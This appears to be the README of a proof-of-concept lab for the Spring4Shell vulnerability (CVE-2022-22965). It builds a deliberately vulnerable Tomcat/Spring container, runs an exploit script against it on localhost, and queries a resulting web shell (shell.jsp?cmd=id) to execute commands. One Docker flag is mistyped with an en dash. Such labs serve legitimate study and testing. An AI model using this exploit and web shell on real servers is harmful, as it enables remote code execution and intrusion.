
PoC and exploit for CVE-2022-22965 Spring4Shell
Spring4Shell (CVE-2022-22965) Proof Of Concept with a vulnerable Tomcat server with a vulnerable spring4shell application.
docker build . -t spring4shell
docker run -p 80:8080 spring4shell
You can also run it with the debugger port exposed if needed:
docker run -p 80:8080 –p 5005:5005 spring4shell
See the original blog post for the details of setting up a remote debugger in IntelliJ Idea!
./exploit.sh --url http://localhost/spring4shell/hello --dir spring4shell
Then, you can run any command remotely like this:
curl http://localhost/spring4shell/shell.jsp?cmd=id --output -
...or by visiting the URL above.